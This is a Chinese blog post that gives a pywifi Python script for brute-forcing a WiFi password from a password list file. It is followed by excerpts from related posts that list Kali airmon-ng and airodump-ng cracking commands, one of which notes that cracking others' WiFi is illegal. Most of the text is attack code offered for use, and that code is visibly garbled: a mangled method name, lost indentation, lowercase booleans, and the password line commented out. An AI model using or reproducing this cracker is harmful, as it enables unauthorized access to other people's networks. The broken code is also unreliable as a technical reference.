最近在b站上看到了乙個有意思的wifi密碼破解,是暴力破解方法,雖然沒啥用,不過也能用它來做自動化來對筆記本上的wifi網絡卡進行一些管理
import pywifi
from pywifi import const #應用一些常量模組
#建立乙個無線物件
wifi = pywifi.pywifi()
#收穫第乙個無線網絡卡
ifaces = wifi.inte***ces()[0]
#獲取到第乙個無線網絡卡
print(ifaces)
print('第乙個無線網絡卡名為:',ifaces.name())
#列印網絡卡連線狀態碼
print("狀態碼為:",ifaces.status()) #連線到wifi,狀態碼是4,未連線是0
if ifaces.status() == const.iface_connected: #const.iface_connected為4
print('wifi已連線')
else:
print('未連線')
wifi = pywifi.pywifi()
ifaces = wifi.inte***ces()[0] #獲取第乙個無線網絡卡
#掃瞄wifi
ifaces.scan()
#獲取掃瞄結果
result = ifaces.scan_results()
print(result)
for data in result:
print(data.ssid) #返回附近wifi名稱
思路:
匯入模組
抓取網絡卡介面
斷開wifi介面
讀取密碼本
試密碼重複3-5直到成功或完全失敗
import pywifi
from pywifi import const #應用一些常量模組
import time
def readpassword(ifaces):
flag = 0
print('開始破解:')
#以讀取方式開啟密碼本檔案
f = open(r"f:\python資料處理案例存放處\pywifi模組的使用與破解wifi密碼\密碼本.txt","r")
while true:
#讀取檔案錯誤則跳出本次迴圈
try_password = f.readline()
bool = wificonnect(try_password,ifaces)
if bool:
print("密碼正確",try_password)
flag = 1
break #結束迴圈
else:
print("密碼錯誤",try_password)
'''except:
print('錯誤讀取')
break
'''if flag == 0:
print('密碼本中無有效密碼')
f.close()
#測試連線 返回連線結果
def wificonnect(try_password,ifaces):
#獲取網絡卡狀態
wifistatus = ifaces.status()
#測試是否連線,未連線情況下來破解
if wifistatus == const.iface_disconnected: #const.iface_disconnected為0,為未連線時的狀態引數
print('未連線')
#建立wifi連線檔案物件 來進行wifi連線
profile = pywifi.profile()
#給物件要連線wifi的名稱
profile.ssid = "ng"
#使網絡卡開放 profile.auth是網絡卡的開放狀態
profile.auth = const.auth_alg_open
#設定wifi的加密演算法 一般為akm_type_wpa2psk
#設定檔案加密單元
profile.cipher = const.cipher_type_ccmp
#密碼profile.key = try_password
#刪除所有wifi檔案
ifaces.remove_all_network_profiles()
#設定新的連線檔案
tep_profile = ifaces.add_network_profile(profile)
#進行連線
ifaces.connect(tep_profile)
#延遲4s作為wifi連線的時間
time.sleep(4)
if ifaces.status() == const.iface_connected:
return true
else:
return false
else:
print('wifi已連線')
def init(): #初始化設定,返回網絡卡模組
#抓取網絡卡介面
wifi = pywifi.pywifi()
#獲取第乙個網絡卡
ifaces = wifi.inte***ces()[0]
#斷開所有連線
ifaces.disconnect()
#設定1s延時
time.sleep(1)
return ifaces
if __name__ == '__main__':
ifaces = init()
readpassword(ifaces)
暴力破解WiFi密碼
你好!歡迎來到這裡,我學習的地方!要有乙個外接網絡卡 kali linux系統 這裡以ubuntu為實驗 虛擬機器除錯 除錯到外接網絡卡 開啟終端,按照順序敲 airmon ng start wlan0 airodump ng wlan0mon airodump ng cch bssidbssid ...
Kali Linux 暴力破解 wifi密碼
注意 私自破解他人wifi屬於違法行為,我這裡使用自己的wifi熱點作為學習和測試。明白了破解原理就知道應該怎麼防範了。暴力破解需要準備的工具 所謂暴力破解就是窮舉法,將密碼字典中每乙個密碼依次去與握手包中的密碼進行匹配,直到匹配成功。所以能否成功破解wifi密碼取決於密碼字典本身是否包含了這個密碼...
kali linux暴力破解wifi密碼
前期 需要將kali安裝好,並且有無線網絡卡 注意kali支援晶元為3070和1887l的網絡卡 開啟kali,開啟終端,使用命令ifconfig檢視網絡卡資訊,若有wlan0表示網絡卡連線成功 在這裡插入描述 開啟網絡卡監聽模式 airmon ng start wlan0 iwconfig,網絡卡...